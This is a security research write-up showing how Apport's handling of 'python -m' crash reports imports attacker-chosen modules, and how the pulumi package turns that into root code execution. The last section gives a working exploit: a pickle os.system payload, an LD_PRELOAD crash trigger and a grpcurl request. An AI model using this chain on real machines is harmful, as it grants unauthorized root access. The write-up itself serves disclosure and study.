Apport Lpe

# Summary

Apport is crash reporting system used on Ubuntu distributions. It has a history of being exploited for local privilege escalation. We found an unusual primitive in apport code, which allows an import of arbitrary package, and than found a package which allows for achieving LPE with this primitive. Our experiments were performed on a fresh install of Ubuntu 24.04.1 LTS (sometimes with installation of additional Python packages).

# Apport

There are a lot of good articles about Apport components (ubuntu wiki), so we won’t go into detail here. The part we will focus on in this post will be the crash dump handler, typically located at /usr/share/apport/apport. This is a program that is invoked via core_pattern on Ubuntu systems:

$ cat /proc/sys/kernel/core_pattern
|/usr/share/apport/apport -p%p -s%s -c%c -d%d -P%P -u%u -g%g -- %E

Some information on this kernel feature can be found here. Key takeaway is that this program is called for each crashed process before its associated resources are removed as core file is piped to stdin.

# Vulnerability

By taking a look at /usr/share/apport/apport file, several things become apparent:

  • It is actually a python script
  • All it does is collect info on the crashed process using procfs and write it to core file in /var/crash

When collecting info on the process, it performs some additional actions to collect info on python scripts:

def add_proc_info(self, ...) -> None:
    ...
    if "ExecutablePath" not in self:
        try:
           self["ExecutablePath"] = _read_proc_link("exe", pid, proc_pid_fd)
           break
  # check if we have an interpreted program
  self._check_interpreted()
  ...

_check_interpreted function collects additional info for interpreted programs.

def _check_interpreted(self) -> None:
    ...
    # first, determine process name
    name = None
    for line in self["ProcStatus"].splitlines():
        try:
            (k, v) = line.split("\t", 1)
        except ValueError:
            continue
        if k == "Name:":
            name = v
            break
    if not name:
        return

    cmdargs = self["ProcCmdline"].split("\0")
    
    # filter out interpreter options
    while len(cmdargs) >= 2 and cmdargs[1].startswith("-"):
        # check for -m
        if name.startswith("python") and cmdargs[1] == "-m" and len(cmdargs) >= 3:
            path = self._python_module_path(cmdargs[2])
            ...

_python_module_path tries to find the location of python module file when script was launched as python -m <module>:

def _python_module_path(module: str) -> str | None:
    """Determine path of given Python module."""
    try:
        spec = importlib.util.find_spec(module)
    except ImportError:
        return None
    if spec is None:
        return None
    return spec.origin

Finally, importlib.util.find_spec actually performs __import__ of the module and then takes __spec__ attribute (python3.12 importlib code):

def find_spec(name, package=None):
    fullname = resolve_name(name, package) if name.startswith('.') else name
    if fullname not in sys.modules:
        parent_name = fullname.rpartition('.')[0]
        if parent_name:
            parent = __import__(parent_name, fromlist=['__path__'])
            try:
                parent_path = parent.__path__
            except AttributeError as e:
                ...
        else:
            parent_path = None
        return _find_spec(fullname, parent_path)
    else:
        ...

That means that any code in target module not wrapped in functions or if __name__ == '__main__': conditionals ends up executed! And as we control the “name of executed module” via command line arguments of crashed process, we thought we could try to exploit this. However, there appeared to be a lot of complications. That would be the more interesting part.

# Python import system

In local privilege escalation exploits we can write any files to public directories such as /tmp. So our first idea was to try importing something from them. However, it is not that simple, but in order to understand why we need some understanding of python import system, though we won’t provide an explanation of every aspect of it (best resource for this would be the docs and source code).

Python supports absolute and relative imports. Relative imports are only allowed relative to package and we can’t use them in the context of find_spec anyway because they require non-empty package argument. Therefore, we need to use some absolute import. If fire up Python console in a directory with hui.py file and execute __import__('hui'), the module will be successfully imported. And as core dump handler is executed with root directory in initial mount namespace as its working directory, could we try something like importing tmp.hui?… As it turns out, no. Here’s why:

In order to find a package, Python iterates over classes in sys.meta_path (“finders”/“importers”) which support .find_spec method and calls it. If sys.meta_path was not modified, importlib.machinery.PathFinder will be used for most modules. PathFinder, in turn, will try to apply each of sys.path_hooks for each entry in sys.path with imported module name. Import system does not actually try to find new unknown modules as it caches all modules in each sys.path on first import and then uses those caches, updating as necessary. So path-traversal tricks won’t work here. Let’s look at those variables during apport execution:

  • sys.path: ['/usr/share/apport', '/usr/lib/python312.zip', '/usr/lib/python3.12', '/usr/lib/python3.12/lib-dynload', '/usr/local/lib/python3.12/dist-packages', '/usr/lib/python3/dist-packages']"
  • sys.meta_path: [<_distutils_hack.DistutilsMetaFinder object at 0x77da45ffea20>, <class '_frozen_importlib.BuiltinImporter'>, <class '_frozen_importlib.FrozenImporter'>, <class '_frozen_importlib_external.PathFinder'>]
  • sys.path_hooks: [<class 'zipimport.zipimporter'>, <function FileFinder.path_hook.<locals>.path_hook_for_FileFinder at 0x77da45fa45e0>] As we see, there are no '' (cwd) in sys.path (as opposed to using python console) or any interesting importers/hooks. So we can’t import anything from writable directories, and our single “import shot” should grant us ability to execute arbitrary code by importing some pre-installed package from directories in sys.path. Next step in trying to develop an exploit would be analyzing installed python packages.

# Searching for useful files

It turns out, fresh Ubuntu install does have quite a lot of non-stdlib python packages. However, we weren’t able to find any pre-installed package that allows us to escalate privileges by importing a single file in this environment.

Initially we had several ideas what functionality we should expect in a file for it to be useful:

  1. Accepting commands from stdin (we can try to include them in coredump);
  2. Recursively searching for files (for example, tests) and executing them;
  3. Mangling with sys.path and other import-related variables;
  4. Launching some server with command execution functionality. First option might appear as the most probable, but in reality, even though popular packages such as ipython contain files that read python code from stdin, apport calls sys.stdin.detach() before importing our code, so any attempts to read from standard input will result in exception. Second option also did not work out, as testing framework entrypoints we have examined are goverened by __name__ == '__main__' or require correct sys.argv (they are hardcoded in core_pattern). Third option was pretty improbable in the first place, as it actually requires adding /tmp, user home or another writable directory to sys.path which would be a very weird pattern for package code. Fourth option might also appear improbable, but actually after several days of searching we found a package that does exactly that - launches a server that lets us achieve code execution!

# Exploitation

That package turned out to be pulumi, an SDK for DevOps platform. Pulumi has a dynamic resource provider GRPC server, and it accepts pickle-serialized objects. The server is spun up on package import with any command line arguments and listens on a random local port. In order to exploit it, we need to send a special GRPC request with __provider value set to base64-serialized pickle object.

So, complete exploit may look like this:

$ python -c '''import pickle
import base64

class PickleRCE(object):
    def __reduce__(self):
        import os
        return (os.system,("touch /tmp/pwed",))
print(base64.b64encode(pickle.dumps(PickleRCE())))''' # craft a payload
gASVKgAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjA90b3VjaCAvdG1wL3B3ZWSUhZRSlC4=
$ git clone https://github.com/pulumi/pulumi/ # for proto files
$ cd pulumi/proto
$ cat > crasher.c <<EOF
__attribute__((constructor))
void crash() { __builtin_trap(); }
EOF
$ gcc crasher.c -fPIC -shared -o crasher.so # compile crashing library
$ LD_PRELOAD=$PWD/crasher.so python3 -m pulumi.dynamic.__main__.hui & # crash apport and trigger server start 
$ grpcurl -plaintext -proto ./pulumi/provider.proto -d '{"properties": {"__provider": "gASVKgAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjA90b3VjaCAvdG1wL3B3ZWSUhZRSlC4="}}' localhost:<port> pulumirpc.ResourceProvider.Create # send malicious request

Obviously, this has a prerequisite of pulumi package installed, so this Apport bug may be not exploitable to gain LPE in most configurations. However, there still might be popular packages which we may have missed, which allow us to achieve LPE in more common configurations.